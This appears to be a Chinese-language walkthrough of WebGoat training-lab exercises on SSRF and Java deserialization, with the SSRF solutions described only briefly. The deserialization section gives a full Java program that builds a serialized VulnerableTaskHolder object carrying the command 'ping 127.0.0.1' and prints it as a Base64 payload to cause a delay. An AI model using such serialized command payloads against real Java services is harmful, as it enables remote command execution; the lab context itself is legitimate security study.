前言
这里考的异常简单,连常见的绕过手法和协议都没讲,感觉设计的不太完善。之后会再单独出一篇来学Java的SSRF。这里为了完整性,还是写一下。
SSRF
第一题&第二题
第一题读内部数据,第二题向外发请求,基本一样。

直接改url这里的就行。第二题整个替换掉就行。
源码部分,这两题用的都是单纯的字符串匹配,实际上就不是真正的ssrf:

反序列化
这里要注意用webgoat给你提供的反序列化类org.dummy.insecure.framework.VulnerableTaskHolder
然后windows下是没有sleep命令的,所以我这里用ping,ping 127.0.0.1就行,也能满足延迟3s–7s
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
   | package org.owasp.webgoat.lessons.deserialization.tmp;
  import com.fasterxml.jackson.databind.node.POJONode; import org.dummy.insecure.framework.VulnerableTaskHolder;
  import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.util.Base64;
  public class sleep {     public static byte[] ser(Object obj) throws IOException {         ByteArrayOutputStream baos = new ByteArrayOutputStream();         ObjectOutputStream oos = new ObjectOutputStream(baos);         oos.writeObject(obj);         oos.close();         return baos.toByteArray();     }
      public static void main(String[] args) throws IOException {         VulnerableTaskHolder vul = new VulnerableTaskHolder("webgoat", "ping 127.0.0.1");         byte[] ser = ser(vul);         String s = Base64.getEncoder().encodeToString(ser);         System.out.println(s);     } }
   | 
 
另外2025版本的靶场用的是jdk23,Templates的Sink链都用不了了。